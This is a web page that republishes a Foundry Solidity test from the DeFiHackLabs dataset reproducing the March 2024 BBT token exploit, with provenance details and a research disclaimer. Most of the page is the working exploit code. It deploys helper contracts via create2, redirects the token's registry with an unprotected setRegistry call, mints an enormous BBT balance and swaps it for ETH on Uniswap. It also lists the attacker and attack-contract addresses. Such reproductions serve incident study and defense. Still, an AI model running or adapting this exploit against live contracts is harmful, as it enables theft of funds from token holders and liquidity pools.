Skip to content
THREATWIRE

Public reproduction file

src/test/2024-03/BBT_exp.sol

Public reproduction file for dataset entry BBT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/BBT_exp.sol139 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo -- Total Lost : 5.06 ETH
8// TX : https://app.blocksec.com/explorer/tx/eth/0x4019890fe5a5bd527cd3b9f7ee6d94e55b331709b703317860d028745e33a8ca?line=4
9// Attacker : https://etherscan.io/address/0xc9a5643ed8e4cd68d16fe779d378c0e8e7225a54
10// Attack Contract : https://etherscan.io/address/0xf5610cf8c27454b6d7c86fccf1830734501425c5
11// GUY : https://x.com/8olidity/status/1767470002566058088
12interface BBtoken is IERC20 {
13 function setRegistry(
14 address _registry
15 ) external;
16 function mint(address _user, uint256 _amount) external;
19contract ContractTest is Test {
20 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
21 BBtoken BBT = BBtoken(0x3541499cda8CA51B24724Bb8e7Ce569727406E04);
22 Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
23 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
24 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
25 address attacker;
27 function setUp() external {
28 // vm.createSelectFork("mainnet", 19417822);
29 cheats.createSelectFork("mainnet", 19_417_822); //fork mainnet at block 13715025
30 }
32 function testExploit() external {
33 address attacker = cal_address(0);
34 emit log_named_decimal_uint("[Begin] Attacker ETH before exploit", address(attacker).balance, 18);
35 attack();
36 emit log_named_decimal_uint("[End] Attacker ETH after exploit", address(attacker).balance, 18);
37 }
39 function attack() public {
40 create_contract(0);
41 }
43 function cal_address(
44 uint256 time
45 ) internal returns (address) {
46 bytes memory bytecode = type(Money).creationCode;
47 uint256 _salt = time;
48 bytecode = abi.encodePacked(bytecode);
49 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
50 address hack_contract = address(uint160(uint256(hash)));
51 return hack_contract;
52 }
54 function create_contract(
55 uint256 times
56 ) internal returns (address) {
57 bytes memory bytecode = type(Money).creationCode;
58 uint256 _salt = times;
59 bytecode = abi.encodePacked(bytecode);
60 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
61 address hack_contract = address(uint160(uint256(hash)));
62 address addr;
63 assembly {
64 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
65 }
66 return hack_contract;
67 }
70contract Money is Test {
71 BBtoken BBT = BBtoken(0x3541499cda8CA51B24724Bb8e7Ce569727406E04);
72 Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
73 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
74 IERC20 BLM = IERC20(0xEa0abF7AB2F8f8435e7Dc4932FFaB37761267843);
75 IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
76 uint256 constant PRECISION = 10 ** 18;
77 address owner;
78 address xx;
80 constructor() {
81 owner = msg.sender;
82 attack();
83 }
85 function attack() public {
86 xx = create_contract(1);
87 BBT.setRegistry(xx);
88 BBT.mint(address(this), 10_000_000_000_000_000_000 ether);
89 BBT.approve(address(Router), type(uint256).max);
90 address[] memory path = new address[](2);
91 path[0] = address(BBT);
92 path[1] = address(WETH);
93 Router.swapExactTokensForETH(1_000_000_000_000_000_000_000_000_000_000, 0, path, address(this), block.timestamp);
94 address[] memory paths = new address[](4);
95 paths[0] = address(BBT);
96 paths[1] = address(BLM);
97 paths[2] = address(USDC);
98 paths[3] = address(WETH);
99 Router.swapExactTokensForETH(
100 1_000_000_000_000_000_000_000_000_000_000, 0, paths, address(this), block.timestamp
101 );
102 }
104 function create_contract(
105 uint256 times
106 ) internal returns (address) {
107 bytes memory bytecode = type(Moneys).creationCode;
108 uint256 _salt = times;
109 bytecode = abi.encodePacked(bytecode);
110 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
111 address hack_contract = address(uint160(uint256(hash)));
112 address addr;
113 assembly {
114 addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
115 }
116 return hack_contract;
117 }
119 fallback() external payable {}
122contract Moneys is Test {
123 BBtoken BBT = BBtoken(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);
124 uint256 constant PRECISION = 10 ** 18;
125 address owner;
126 address xx;
128 constructor() {
129 owner = msg.sender;
130 }
132 function getContractAddress(
133 string memory _name
134 ) public returns (address) {
135 return owner;
136 }
138 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “BBT” (2024-03-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc9a5643ed8e4cd68d16fe779d378c0e8e7225a54

  • Attack Contract

    0xf5610cf8c27454b6d7c86fccf1830734501425c5

File record

Name
BBT
Path
src/test/2024-03/BBT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1d04c31b6918afa8bff4cc33337c43471ce98a84
Language
Solidity
Size
140 lines
Date
2024-03-12
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-03/BBT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1d04c31b6918afa8bff4cc33337c43471ce98a84, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.